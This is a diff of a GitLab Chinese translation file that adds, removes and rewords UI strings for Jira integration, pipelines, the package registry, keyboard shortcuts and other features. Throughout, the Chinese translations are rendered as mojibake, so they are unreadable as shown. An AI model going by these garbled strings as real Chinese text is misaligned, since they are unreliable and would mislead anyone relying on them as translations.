msgid "IncidentSettings|Time limit"
msgstr "时间é™åˆ¶"
@@ -17164,8 +17454,8 @@ msgstr "指示此runner是å¦å¯ä»¥é€‰æ‹©æ— æ ‡è®°çš„作业"
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr "通知用户没有上传SSH密钥,如果没有SSH秘钥,将无法通过SSH推é€ã€‚"
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
-msgstr "其他Pages模æ¿çš„ä¿¡æ¯åŠå®‰è£…指å—å¯ä»¥åœ¨%{pages_getting_started_guide}中找到."
+msgid "Infrastructure"
+msgstr ""
msgid "Infrastructure Registry"
msgstr ""
@@ -17360,11 +17650,11 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
-msgstr "包括标准加整个æ交消æ¯ï¼Œæ交哈希和议题ID"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
+msgstr ""
-msgid "Integrations|Includes commit title and branch"
-msgstr "包括æ交的标题和分支"
+msgid "Integrations|Includes commit title and branch."
+msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr "当议题在Jira中设定的项目中创建åŽï¼ŒJira中创建的议题会显示于此。"
@@ -17441,7 +17731,7 @@ msgstr "使用自定义设置"
msgid "Integrations|Use default settings"
msgstr "使用默认设置"
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17627,7 +17917,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -17861,6 +18151,9 @@ msgstr "议题分æž"
msgid "Issue Boards"
msgstr "议题看æ¿"
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr "问题已å‡çº§ä¸ºå²è¯—。"
@@ -17930,12 +18223,6 @@ msgstr "状æ€"
msgid "IssueAnalytics|Weight"
msgstr "æƒé‡"
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -17963,6 +18250,27 @@ msgstr "切æ¢çœ‹æ¿"
msgid "IssueTracker|Custom issue tracker"
msgstr "自定义议题跟踪器"
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18008,6 +18316,9 @@ msgstr "议题å¯ä»¥æ˜¯ç¼ºé™·ï¼Œä»»åŠ¡æˆ–è¦è®¨è®ºçš„想法。此外,å¯ä»¥é€š
msgid "Issues closed"
msgstr "关闭议题"
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18110,6 +18421,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18119,6 +18433,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18152,15 +18472,15 @@ msgstr "ä¸èƒ½è¶…过未æ¥çš„500å¹´"
msgid "I’m familiar with the basics of DevOps."
msgstr "我熟悉Devops的基本知识。"
+msgid "I’m joining my team who’s already on GitLab"
+msgstr ""
+
msgid "I’m not familiar with the basics of DevOps."
msgstr "我ä¸ç†Ÿæ‚‰Devops的基本知识。"
msgid "Jaeger URL"
msgstr "Jaeger 地å€"
-msgid "Jaeger tracing"
-msgstr "Jaeger 跟踪"
-
msgid "Jan"
msgstr "1月"
@@ -18182,8 +18502,8 @@ msgstr "Jira导入已在è¿è¡Œã€‚"
msgid "Jira integration not configured."
msgstr "未é…ç½®Jira集æˆã€‚"
-msgid "Jira project key is not configured"
-msgstr "Jira项目密钥未被é…置。"
+msgid "Jira project key is not configured."
+msgstr ""
msgid "Jira project: %{importProject}"
msgstr "Jira项目: %{importProject}"
@@ -18257,6 +18577,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18272,11 +18595,11 @@ msgstr "Jira API URL"
msgid "JiraService|Jira Issues"
msgstr "Jira议题"
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
-msgstr "在æ交中引用议题时将创建Jira评论。"
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
+msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
-msgstr "在åˆå¹¶è¯·æ±‚中引用议题时将创建Jira评论。"
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
+msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
@@ -18362,8 +18685,8 @@ msgstr "Web URL"
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr "在ä¸ç¦»å¼€GitLab的情况下处ç†Jira议题。添加一个Jiraèœå•æ¥è®¿é—®æ‚¨çš„Jira议题列表,并å¯ä»¥ä»¥åªè¯»æ¨¡å¼æŸ¥çœ‹ä»»ä½•è®®é¢˜ã€‚"
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
-msgstr "转æ¢IDåªèƒ½åŒ…å«æ•°å­—或用“, â€æˆ–“; â€åˆ†éš”çš„æ•°å­—"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
+msgstr ""
msgid "Job"
msgstr "作业"
@@ -18410,6 +18733,18 @@ msgstr "删除自我监控项目的任务正在进行中"
msgid "Job was retried"
msgstr "作业已é‡è¯•"
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr "作业"
@@ -18425,6 +18760,9 @@ msgstr "您确定è¦é‡è¯•æ­¤ä½œä¸šå—?"
msgid "Jobs|Create CI/CD configuration file"
msgstr "创建CI/CDé…置文件"
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr "作业是GitLab CI/CDæµæ°´çº¿çš„基本组æˆéƒ¨åˆ†ã€‚æ¯ä¸ªä½œä¸šéƒ½æœ‰ä¸€ä¸ªç‰¹å®šçš„任务,例如测试代ç ã€‚ è‹¥è¦åœ¨CI/CDæµæ°´çº¿ä¸­è®¾ç½®ä½œä¸šï¼Œè¯·åœ¨æ‚¨çš„项目中添加一个CI/CDé…置文件。"
@@ -18518,6 +18856,9 @@ msgstr "ç”±"
msgid "Join Zoom meeting"
msgstr "加入Zoom会议"
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr "加入于%{time_ago}"
@@ -18551,6 +18892,9 @@ msgstr "K8s podå¥åº·"
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18578,9 +18922,30 @@ msgstr "密钥: %{key}"
msgid "Keyboard shortcuts"
msgstr "å¿«æ·é”®"
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr "Ctrl +"
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr "é”®"
@@ -18617,6 +18982,9 @@ msgstr "Kubernetes集群集æˆå·²æˆåŠŸåˆ é™¤ã€‚"
msgid "Kubernetes cluster was successfully updated."
msgstr "Kubernetes集群已æˆåŠŸæ›´æ–°ã€‚"
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr "找ä¸åˆ°Kubernetes部署"
@@ -18858,18 +19226,12 @@ msgstr "此分支上最近æ交的最新æµæ°´çº¿"
msgid "Launch a ready-to-code development environment for your project."
msgstr "为您的项目å¯åŠ¨ä¸€ä¸ªçŽ°æˆçš„代ç å¼€å‘环境。"
-msgid "Lead"
-msgstr "最高"
-
msgid "Lead Time"
msgstr "交付时间"
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr "学习GitLab"
@@ -19041,6 +19403,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19077,6 +19445,9 @@ msgstr "Let's Encryptä¸æŽ¥å—example.com的电å­é‚®ä»¶"
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr "Let's Encrypt是一个å…è´¹ã€è‡ªåŠ¨åŒ–和开放的è¯ä¹¦æŽˆæƒ(CA)机构。它å¯ä»¥æ供网站å¯ç”¨HTTPS (SSL/TLS)所需的数字è¯ä¹¦ã€‚通过%{docs_link_start}GitLab Pages上的文档%{docs_link_end}æ¥äº†è§£Let's Encrypté…置的更多信æ¯ã€‚"
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr "许å¯è¯"
@@ -19558,8 +19929,8 @@ msgstr "将此议题设置为ç§å¯†."
msgid "Manage"
msgstr "管ç†"
-msgid "Manage Web IDE features"
-msgstr "管ç†Web IDE功能"
+msgid "Manage Web IDE features."
+msgstr ""
msgid "Manage access"
msgstr "管ç†æƒé™"
@@ -19816,6 +20187,9 @@ msgstr "最大NuGet文件包大å°ï¼ˆå­—节)"
msgid "Maximum PyPI package file size in bytes"
msgstr "最大PyPI文件包大å°ï¼ˆå­—节)"
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -19903,6 +20277,9 @@ msgstr "已达到最大页é¢"
msgid "Maximum push size (MB)"
msgstr "最大推é€å¤§å° (MB)"
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr "å•æ¬¡æ交的最大大å°é™åˆ¶ã€‚"
@@ -20098,6 +20475,9 @@ msgstr "撤销邀请"
msgid "Memory Usage"
msgstr "内存使用情况"
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr "åˆå¹¶"
@@ -20149,9 +20529,6 @@ msgstr "åˆå¹¶é€‰é¡¹"
msgid "Merge request"
msgstr "åˆå¹¶è¯·æ±‚"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr "åˆå¹¶è¯·æ±‚%{iid} 作者: %{authorName}"
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr "åˆå¹¶è¯·æ±‚%{mr_link}已被%{mr_author}审核"
@@ -20440,11 +20817,11 @@ msgstr "仪表æ¿æ—¶åŒº"
msgid "MetricsSettings|External dashboard URL"
msgstr "外部仪表盘URL"
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
-msgstr "管ç†æŒ‡æ ‡ä»ªè¡¨æ¿è®¾ç½®ã€‚"
+msgid "MetricsSettings|Manage metrics dashboard settings."
+msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
-msgstr "指标仪表æ¿"
+msgid "MetricsSettings|Metrics"
+msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
msgstr "UTC(世界标准时间)"
@@ -20543,6 +20920,9 @@ msgstr "展开é¢æ¿"
msgid "Metrics|For grouping similar metrics"
msgstr "用于分组类似指标"
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr "无效的时间范围,请验è¯ã€‚"
@@ -20717,12 +21097,12 @@ msgstr "Microsoft Azure"
msgid "Middleman project with Static Site Editor support"
msgstr "支æŒé™æ€ç«™ç‚¹ç¼–辑器的Middleman项目"
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
-msgstr "从外部数æ®æºè¿ç§»æ‚¨çš„æ•°æ®ï¼Œä¾‹å¦‚GitHub 〠Bitbucket或å¦å¤–一个GitLabæœåŠ¡å™¨ã€‚"
-
msgid "Migrated %{success_count}/%{total_count} files."
msgstr "å·²è¿ç§» %{success_count}/%{total_count} 文件。"
+msgid "Migration"
+msgstr ""
+
msgid "Migration has been scheduled to be retried"
msgstr ""
@@ -20976,6 +21356,12 @@ msgstr "修改åˆå¹¶æ交"
msgid "Monday"
msgstr "星期一"
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr "通过与Sentry集æˆæ¥ç›‘控您的错误。"
@@ -21108,6 +21494,9 @@ msgstr "找到多个模型类型: %{model_types}"
msgid "Multiple uploaders found: %{uploader_types}"
msgstr "找到多个上传器: %{uploader_types}"
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr "必须匹é…%{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}中的%{codeStart}external_url%{codeEnd}。"
@@ -21135,6 +21524,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr "å称已被使用"
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr "命å新标记"
@@ -21301,9 +21693,6 @@ msgstr "æè¿°"
msgid "NetworkPolicies|Edit policy"
msgstr "编辑策略"
-msgid "NetworkPolicies|Editor mode"
-msgstr "编辑模å¼"
-
msgid "NetworkPolicies|Enforcement status"
msgstr "强制执行状æ€"
@@ -21403,9 +21792,6 @@ msgstr "ä¸åŒ¹é…任何规则的æµé‡å°†è¢«é˜»æ­¢ã€‚"
msgid "NetworkPolicies|Unable to parse policy"
msgstr "无法解æžç­–ç•¥"
-msgid "NetworkPolicies|YAML editor"
-msgstr "YAML编辑"
-
msgid "NetworkPolicies|all DNS names"
msgstr "所有DNS域å"
@@ -21752,7 +22138,7 @@ msgstr "此处无æ交"
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21779,6 +22165,9 @@ msgstr "未找到数æ®"
msgid "No data to display"
msgstr "没有å¯æ˜¾ç¤ºçš„æ•°æ®"
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr "没有找到部署"
@@ -21992,6 +22381,9 @@ msgstr "æ— "
msgid "None of the group milestones have the same project as the release"
msgstr "没有任何群组里程碑与å‘布具有相åŒçš„项目"
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr "尚未实现"
@@ -22314,6 +22706,9 @@ msgstr "哦ä¸ï¼"
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr "最早在å‰"
@@ -22693,7 +23088,7 @@ msgstr "å¼€å¯: %{open}"
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22792,8 +23187,8 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
-msgstr "我们的文档包å«ä¸€ä¸ªDevOps评分报告的示例。"
+msgid "Our team has been notified. Please try again."
+msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
msgstr "ä¸ç¬¦åˆè¯¥é¡¹ç›®æ”¿ç­–,应予以删除"
@@ -22858,6 +23253,9 @@ msgstr "包类型必须是Conan"
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr "包类型必须是Maven"
@@ -22885,6 +23283,9 @@ msgstr "添加Conan远端"
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr "添加Nugetæº"
@@ -22927,6 +23328,9 @@ msgstr "å¤åˆ¶Conan安装命令"
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr "å¤åˆ¶Maven XML"
@@ -22948,6 +23352,9 @@ msgstr "å¤åˆ¶Pip命令"
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr "将其å¤åˆ¶å¹¶ç²˜è´´åˆ°æ‚¨çš„%{codeStart}pom.xml%{codeEnd}文件的%{codeStart}dependencies%{codeEnd}å—中。"
@@ -22999,9 +23406,18 @@ msgstr "通用"
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "如果尚未é…置,需è¦å°†ä»¥ä¸‹å†…容添加到%{codeStart}.pypirc%{codeEnd}文件中。"
@@ -23011,6 +23427,9 @@ msgstr "如果尚未é…置,需è¦å°†ä»¥ä¸‹å†…容添加到%{codeStart}pom.xml%{
msgid "PackageRegistry|Install package version"
msgstr "安装软件包版本"
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr "了解如何使用GitLab%{noPackagesLinkStart}å‘布和共享您的软件包%{noPackagesLinkEnd}。"
@@ -23026,6 +23445,9 @@ msgstr "Maven"
msgid "PackageRegistry|Maven Command"
msgstr "Maven命令"
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr "NuGet"
@@ -23071,6 +23493,9 @@ msgstr "删除软件包"
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23083,12 +23508,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23185,8 +23604,8 @@ msgstr "Pages"
msgid "Pages Domain"
msgstr "Pages域å"
-msgid "Pages getting started guide"
-msgstr "Pages 入门指å—"
+msgid "Pagination|First"
+msgstr ""
msgid "Pagination|Go to first page"
msgstr "转到第一页"
@@ -23200,6 +23619,9 @@ msgstr "转到下一页"
msgid "Pagination|Go to previous page"
msgstr "转到上一页"
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr "尾页 »"
@@ -23251,6 +23673,9 @@ msgstr "通过于"
msgid "Password"
msgstr "密ç "
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr "å¯†ç  (å¯é€‰)"
@@ -23386,6 +23811,9 @@ msgstr "å‰ç«¯èµ„æº"
msgid "PerformanceBar|Gitaly calls"
msgstr "Gitaly调用"
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr "Redis调用"
@@ -23464,6 +23892,9 @@ msgstr "æµæ°´çº¿è®¡åˆ’"
msgid "Pipeline Schedules"
msgstr "æµæ°´çº¿è®¡åˆ’"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr "æµæ°´çº¿åˆ†é’Ÿæ•°é…é¢"
@@ -23518,6 +23949,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "总计:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23584,6 +24063,9 @@ msgstr "“%{project_name}â€çš„æµæ°´çº¿è®¾ç½®å·²æˆåŠŸæ›´æ–°ã€‚"
msgid "Pipelines|API"
msgstr "API"
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr "您确定è¦è¿è¡Œè¿™æ¡æµæ°´çº¿å—?"
@@ -23641,6 +24123,9 @@ msgstr "群组%{namespace_name}已超过其æµæ°´çº¿åˆ†é’Ÿé…é¢ã€‚请购买更å
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr "如果您ä¸ç¡®å®šï¼Œè¯·é¡¹ç›®ç»´æŠ¤è€…为您审核。"
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr "建议在使用父项目的CI资æºè¿è¡Œæ­¤æµæ°´çº¿ä¹‹å‰å¯¹ä»£ç è¿›è¡Œè¯¦å°½çš„审核。"
@@ -23662,6 +24147,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr "更多信æ¯"
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr "尚未创建触å‘器。请使用上é¢çš„表å•æ·»åŠ è§¦å‘器。"
@@ -23716,6 +24204,9 @@ msgstr "此管é“å°†è¿è¡Œæºè‡ªæ´¾ç”Ÿé¡¹ç›®åˆå¹¶è¯·æ±‚的代ç ã€‚ è¿™æ„味ç
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr "此项目当å‰æœªé…ç½®è¿è¡Œæµæ°´çº¿ã€‚"
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr "令牌"
@@ -23746,9 +24237,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr "å¯è§†åŒ–"
-msgid "Pipelines|Write pipeline configuration"
-msgstr "编写æµæ°´çº¿é…ç½®"
-
msgid "Pipelines|invalid"
msgstr "无效"
@@ -24046,9 +24534,15 @@ msgstr "请仅在安装æ’件åŽå¯ç”¨æœç´¢ï¼Œå¯ç”¨ç´¢å¼•å¹¶é‡æ–°åˆ›å»ºç´¢å¼•
msgid "Please provide a name"
msgstr "请æä¾›å称"
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr "请æ供有效的网å€"
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr "请æ供一个有效的YouTube URL或ID"
@@ -24085,6 +24579,9 @@ msgstr "请选择一个群组。"
msgid "Please select a valid target branch"
msgstr "请选择一个有效的目标分支"
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr "请选择并添加一个æˆå‘˜"
@@ -24094,6 +24591,9 @@ msgstr "请至少选择一个筛选器æ¥æŸ¥çœ‹ç»“æžœ"
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr "请设置新密ç ä»¥ç»§ç»­ä¸‹ä¸€æ­¥ã€‚"
@@ -24127,9 +24627,6 @@ msgstr "连接代ç ä»“库中,请ç¨å€™ã€‚å¯åœ¨ä»»æ„时刻刷新以获å–当
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr "导入代ç ä»“库中,请ç¨å€™ã€‚å¯åœ¨ä»»æ„时刻刷新以获å–当å‰çŠ¶æ€ã€‚"
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr "æ’件目录已弃用,将在14.0中移除。请将此文件移动到/file_hooks目录。"
-
msgid "Pod does not exist"
msgstr "Podä¸å­˜åœ¨"
@@ -24157,6 +24654,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr "预定义的推é€è§„则。"
@@ -24313,6 +24813,9 @@ msgstr "阻止用户在GitLab进行维护时进行写入æ“作。"
msgid "Preview"
msgstr "预览"
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr "Markdown预览"
@@ -24667,8 +25170,8 @@ msgstr "éžå…¬å¼€è´¡çŒ®"
msgid "Profiles|Profile was successfully updated"
msgstr "个人资料已æˆåŠŸæ›´æ–°"
-msgid "Profiles|Public Avatar"
-msgstr "公开头åƒ"
+msgid "Profiles|Public avatar"
+msgstr ""
msgid "Profiles|Public email"
msgstr "公开邮件"
@@ -24925,6 +25428,9 @@ msgstr "项目有太多个 %{label_for_message} è¦æœç´¢"
msgid "Project info:"
msgstr "项目信æ¯ï¼š"
+msgid "Project information"
